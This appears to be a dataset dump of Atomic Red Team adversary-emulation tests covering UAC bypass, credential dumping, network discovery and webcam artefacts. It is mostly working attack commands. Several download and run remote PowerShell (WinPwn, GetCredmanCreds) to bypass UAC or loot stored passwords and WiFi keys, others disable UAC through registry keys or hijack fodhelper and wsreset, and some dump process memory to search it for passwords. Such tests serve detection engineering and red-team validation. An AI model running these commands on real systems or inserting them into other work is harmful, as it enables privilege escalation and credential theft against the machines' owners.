deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: WinPwn - UAC Magic
Platforms: windows
Executor: powershell

Description:
UAC bypass using Magic technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique magic
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: WinPwn - UAC Bypass ccmstp technique
Platforms: windows
Executor: powershell

Description:
UAC bypass using ccmstp technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
UACBypass -noninteractive -command "C:\windows\system32\calc.exe" -technique ccmstp
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: WinPwn - UAC Bypass DiskCleanup technique
Platforms: windows
Executor: powershell

Description:
UAC bypass using DiskCleanup technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
UACBypass -noninteractive -command "C:\windows\system32\cmd.exe" -technique DiskCleanup
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: WinPwn - UAC Bypass DccwBypassUAC technique
Platforms: windows
Executor: powershell

Description:
UAC Bypass DccwBypassUAC technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1')
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key
Platforms: windows
Executor: powershell

Description:
Disable User Account Conrol (UAC) for admin by setting the registry key 
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin to 0.

[MedusaLocker Ransomware](https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/), 
[Purple Fox Rootkit](https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit), 
[Avaddon Ransomware](https://blogs.blackberry.com/en/2021/06/threat-thursday-avaddon-ransomware-uses-ddos-attacks-as-triple-threat)


Command:
$orgValue =(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force

Cleanup:
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value $orgValue -Type Dword -Force
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: UAC Bypass with WSReset Registry Modification
Platforms: windows
Executor: powershell

Description:
The following UAC bypass is focused on a registry key under "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command" that will trigger a command once wsreset.exe runs. 
This bypass is limited to Windows 10 1803/1809 and may not run on Server platforms. The registry mod is where interest will be.
If successful, the command to run will spawn off wsreset.exe. 
[UAC Bypass in Windows 10 Store Binary](https://0x1.gitlab.io/exploit/UAC-Bypass-in-Windows-10-Store-Binary/)


Command:
New-Item #{commandpath} -Force | Out-Null
New-ItemProperty -Path #{commandpath} -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty -Path #{commandpath} -Name "(default)" -Value "#{commandtorun}" -Force -ErrorAction SilentlyContinue | Out-Null
$Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden

Cleanup:
Remove-Item #{commandpath} -Recurse -Force
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: Disable UAC - Switch to the secure desktop when prompting for elevation via registry key
Platforms: windows
Executor: powershell

Description:
User Account Control (UAC) is a security mechanism for limiting the elevation of privileges, including administrative accounts, unless authorized. 
This setting ensures that the elevation prompt is only used in secure desktop mode.
Disable User Account Conrol (UAC) for secure desktop by setting the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop to 0.


Command:
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force

Cleanup:
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name PromptOnSecureDesktop -Value 1 -Type Dword -Force
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: Disable UAC notification via registry keys
Platforms: windows
Executor: command_prompt

Description:
This atomic regarding UACDisableNotify pertains to the notification behavior of UAC. UAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system's operation or change settings that affect other users. The BlotchyQuasar RAT defense evasion activities that the adversary to disable UAC notifications makes it easier for malware and malicious software to execute with elevated privileges. [Article](https://securityintelligence.com/x-force/x-force-hive0129-targeting-financial-institutions-latam-banking-trojan/)


Command:
reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify /t REG_DWORD /d 1 /f


Cleanup:
reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify /t REG_DWORD /d 0 /f
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: Disable ConsentPromptBehaviorAdmin via registry keys
Platforms: windows
Executor: command_prompt

Description:
This atomic regarding setting ConsentPromptBehaviorAdmin to 0 configures the UAC so that it does not prompt for consent or credentials when actions requiring elevated privileges are performed by users in the administrators group. This means that any operation that would normally trigger a UAC prompt will proceed automatically without user interaction.


Command:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f


Cleanup:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 5 /f
Atomic Red Team — T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control
Test: UAC bypassed by Utilizing ProgIDs registry.
Platforms: windows
Executor: command_prompt

Description:
This atomic designed to simulate the UAC bypassed made by ValleyRAT by adding customized ProgIDs registry entry.


Command:
reg add "HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command" /ve /d "C:\Windows\System32\calc.exe" /f

reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer" /ve /d ".pwn" /f

echo Triggering fodhelper.exe for potential privilege escalation...
start fodhelper.exe


Cleanup:
reg delete "HKEY_CURRENT_USER\Software\Classes\.pwn\Shell\Open\command" /ve /f
reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer" /ve /f
Atomic Red Team — T1003.007: OS Credential Dumping: Proc Filesystem
Test: Dump individual process memory with sh (Local)
Platforms: linux
Executor: sh

Description:
Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to
copy process memory to an external file so it can be searched or exfiltrated later.


Command:
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1)
MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1))))
MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2))))
MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
grep -i "PASS" "#{output_file}"


Cleanup:
rm -f "#{output_file}"


Dependencies:
Script to launch target process must exist
Atomic Red Team — T1003.007: OS Credential Dumping: Proc Filesystem
Test: Dump individual process memory with sh on FreeBSD (Local)
Platforms: linux
Executor: sh

Description:
Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to
copy process memory to an external file so it can be searched or exfiltrated later.
On FreeBSD procfs must be mounted.


Command:
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
MEM_START=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f1)
MEM_STOP=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f2)
MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
strings "#{output_file}" | grep -i PASS


Cleanup:
rm -f "#{output_file}"


Dependencies:
Script to launch target process must exist
Atomic Red Team — T1003.007: OS Credential Dumping: Proc Filesystem
Test: Dump individual process memory with Python (Local)
Platforms: linux
Executor: sh

Description:
Using `/proc/$PID/mem`, where $PID is the target process ID, use a Python script to
copy a process's heap memory to an external file so it can be searched or exfiltrated later.
On FreeBSD procfs must be mounted.


Command:
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
PYTHON=$(which python || which python3 || which python2)
$PYTHON #{python_script} $PID #{output_file}
grep -i "PASS" "#{output_file}"


Cleanup:
rm -f "#{output_file}"


Dependencies:
Script to launch target process must exist

Requires Python
Atomic Red Team — T1003.007: OS Credential Dumping: Proc Filesystem
Test: Capture Passwords with MimiPenguin
Platforms: linux
Executor: bash

Description:
MimiPenguin is a tool inspired by MimiKatz that targets Linux systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions of GNOME Keyring). 
Upon successful execution on an affected system, MimiPenguin will retrieve passwords from memory and output them to a specified file. 
See https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. 
See https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20various%20Linux%20distributions.


Command:
sudo #{MimiPenguin_Location} > #{output_file}
cat #{output_file}


Cleanup:
rm -f #{output_file} > /dev/null


Dependencies:
MimiPenguin script must exist on disk at specified location (#{MimiPenguin_Location})

Strings must be installed

Python2 must be installed
Atomic Red Team — T1016: System Network Configuration Discovery
Test: System Network Configuration Discovery on Windows
Platforms: windows
Executor: command_prompt

Description:
Identify network configuration information

Upon successful execution, cmd.exe will spawn multiple commands to list network configuration settings. Output will be via stdout.


Command:
ipconfig /all
netsh interface show interface
arp -a
nbtstat -n
net config
Atomic Red Team — T1016: System Network Configuration Discovery
Test: List Windows Firewall Rules
Platforms: windows
Executor: command_prompt

Description:
Enumerates Windows Firewall Rules using netsh.

Upon successful execution, cmd.exe will spawn netsh.exe to list firewall rules. Output will be via stdout.


Command:
netsh advfirewall firewall show rule name=all
Atomic Red Team — T1016: System Network Configuration Discovery
Test: System Network Configuration Discovery
Platforms: macos, linux
Executor: sh

Description:
Identify network configuration information.
Upon successful execution, sh will spawn multiple commands and output will be via stdout.


Command:
if [ "$(uname)" = 'FreeBSD' ]; then cmd="netstat -Sp tcp"; else cmd="netstat -ant"; fi;
if [ -x "$(command -v arp)" ]; then arp -a; else echo "arp is missing from the machine. skipping..."; fi;
if [ -x "$(command -v ifconfig)" ]; then ifconfig; else echo "ifconfig is missing from the machine. skipping..."; fi;
if [ -x "$(command -v ip)" ]; then ip addr; else echo "ip is missing from the machine. skipping..."; fi;
if [ -x "$(command -v netstat)" ]; then $cmd | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo "netstat is missing from the machine. skipping..."; fi;


Dependencies:
Check if arp command exists on the machine
Atomic Red Team — T1016: System Network Configuration Discovery
Test: System Network Configuration Discovery (TrickBot Style)
Platforms: windows
Executor: command_prompt

Description:
Identify network configuration information as seen by Trickbot and described here https://www.sneakymonkey.net/2019/10/29/trickbot-analysis-part-ii/

Upon successful execution, cmd.exe will spawn `ipconfig /all`, `net config workstation`, `net view /all /domain`, `nltest /domain_trusts`. Output will be via stdout.


Command:
ipconfig /all
net config workstation
net view /all /domain
nltest /domain_trusts
Atomic Red Team — T1016: System Network Configuration Discovery
Test: List Open Egress Ports
Platforms: windows
Executor: powershell

Description:
This is to test for what ports are open outbound.  The technique used was taken from the following blog:
https://www.blackhillsinfosec.com/poking-holes-in-the-firewall-egress-testing-with-allports-exposed/

Upon successful execution, powershell will read top-128.txt (ports) and contact each port to confirm if open or not. Output will be to Desktop\open-ports.txt.


Command:
$ports = Get-content "#{port_file}"
$file = "#{output_file}"
$totalopen = 0
$totalports = 0
New-Item $file -Force
foreach ($port in $ports) {
    $test = new-object system.Net.Sockets.TcpClient
    $wait = $test.beginConnect("allports.exposed", $port, $null, $null)
    $wait.asyncwaithandle.waitone(250, $false) | Out-Null
    $totalports++ | Out-Null
    if ($test.Connected) {
        $result = "$port open" 
        Write-Host -ForegroundColor Green $result
        $result | Out-File -Encoding ASCII -append $file
        $totalopen++ | Out-Null
    }
    else {
        $result = "$port closed" 
        Write-Host -ForegroundColor Red $result
        $totalclosed++ | Out-Null
        $result | Out-File -Encoding ASCII -append $file
    }
}
$results = "There were a total of $totalopen open p

Cleanup:
Remove-Item -ErrorAction ignore "#{output_file}"


Dependencies:
Test requires #{port_file} to exist
Atomic Red Team — T1016: System Network Configuration Discovery
Test: Adfind - Enumerate Active Directory Subnet Objects
Platforms: windows
Executor: command_prompt

Description:
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Subnet Objects
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html


Command:
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=subnet) #{optional_args}


Dependencies:
AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)
Atomic Red Team — T1016: System Network Configuration Discovery
Test: Qakbot Recon
Platforms: windows
Executor: command_prompt

Description:
A list of commands known to be performed by Qakbot for recon purposes

Command:
"#{recon_commands}"


Dependencies:
File to copy must exist on disk at specified location (#{recon_commands})
Atomic Red Team — T1016: System Network Configuration Discovery
Test: List macOS Firewall Rules
Platforms: macos
Executor: bash

Description:
"This will test if the macOS firewall is enabled and/or show what rules are configured. Must be run with elevated privileges. Upon successful execution, these commands will output various information about the firewall configuration, including status and specific port/protocol blocks or allows. 

Using `defaults`, additional arguments can be added to see filtered details, such as `globalstate` for global configuration (\"Is it on or off?\"), `firewall` for common application allow rules, and `explicitauths` for specific rules configured by the user. 

Using `socketfilterfw`, flags such as --getglobalstate or --listapps can be used for similar filtering. At least one flag is required to send parseable output to standard out. 


Command:
sudo defaults read /Library/Preferences/com.apple.alf
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
Atomic Red Team — T1016: System Network Configuration Discovery
Test: DNS Server Discovery Using nslookup
Platforms: windows
Executor: command_prompt

Description:
Identify System domain dns controller on an endpoint using nslookup ldap query. This tool is being abused by qakbot malware to gather information on the domain
controller of the targeted or compromised host. reference https://securelist.com/qakbot-technical-analysis/103931/


Command:
nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%USERDNSDOMAIN%
# T1125 - Video Capture

## Description from ATT&CK

> An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.
> 
> Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.
> 
> In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)

[Source](https://attack.mitre.org/techniques/T1125)

## Atomic Tests

- [Atomic Test #1: Registry artefact when application use webcam](#atomic-test-1-registry-artefact-when-application-use-webcam)

### Atomic Test #1: Registry artefact when application use webcam

[can-you-track-processes-accessing-the-camera-and-microphone](https://svch0st.medium.com/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072)

**Supported Platforms:** Windows

**auto_generated_guid:** `6581e4a7-42e3-43c5-a0d2-5a0d62f9702a`

#### Attack Commands: Run with `command_prompt`!

```cmd
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f
```

#### Cleanup Commands

```cmd
reg DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /f
```
Atomic Red Team — T1125: Video Capture
Test: Registry artefact when application use webcam
Platforms: windows
Executor: command_prompt

Description:
[can-you-track-processes-accessing-the-camera-and-microphone](https://svch0st.medium.com/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072)


Command:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f


Cleanup:
reg DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam\NonPackaged\C:#Windows#Temp#atomic.exe /f
Atomic Red Team — T1555: Credentials from Password Stores
Test: Extract Windows Credential Manager via VBA
Platforms: windows
Executor: powershell

Description:
This module will extract the credentials found within the Windows credential manager and dump
them to $env:TEMP\windows-credentials.txt


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1555\src\T1555-macrocode.txt" -officeProduct "Word" -sub "Extract"


Cleanup:
Remove-Item "$env:TEMP\windows-credentials.txt" -ErrorAction Ignore


Dependencies:
Microsoft Word must be installed
Atomic Red Team — T1555: Credentials from Password Stores
Test: Dump credentials from Windows Credential Manager With PowerShell [windows Credentials]
Platforms: windows
Executor: powershell

Description:
This module will extract the credentials from Windows Credential Manager

Command:
IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force
Atomic Red Team — T1555: Credentials from Password Stores
Test: Dump credentials from Windows Credential Manager With PowerShell [web Credentials]
Platforms: windows
Executor: powershell

Description:
This module will extract the credentials from Windows Credential Manager

Command:
IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-CredManCreds -Force
Atomic Red Team — T1555: Credentials from Password Stores
Test: Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Windows Credentials]
Platforms: windows
Executor: powershell

Description:
This module will enumerate credentials stored in Windows Credentials vault of Windows Credential Manager using builtin utility vaultcmd.exe

Command:
vaultcmd /listcreds:"Windows Credentials" /all
Atomic Red Team — T1555: Credentials from Password Stores
Test: Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Web Credentials]
Platforms: windows
Executor: powershell

Description:
This module will enumerate credentials stored in Web Credentials vault of Windows Credential Manager using builtin utility vaultcmd.exe

Command:
vaultcmd /listcreds:"Web Credentials" /all
Atomic Red Team — T1555: Credentials from Password Stores
Test: WinPwn - Loot local Credentials - lazagne
Platforms: windows
Executor: powershell

Description:
The [LaZagne project](https://github.com/AlessandroZ/LaZagne) is an open source application used to retrieve lots of passwords stored on a local computer. 
Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). 
This tool has been developed for the purpose of finding these passwords for the most commonly-used software

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
lazagnemodule -consoleoutput -noninteractive
Atomic Red Team — T1555: Credentials from Password Stores
Test: WinPwn - Loot local Credentials - Wifi Credentials
Platforms: windows
Executor: powershell

Description:
Loot local Credentials - Wifi Credentials technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
wificreds -consoleoutput -noninteractive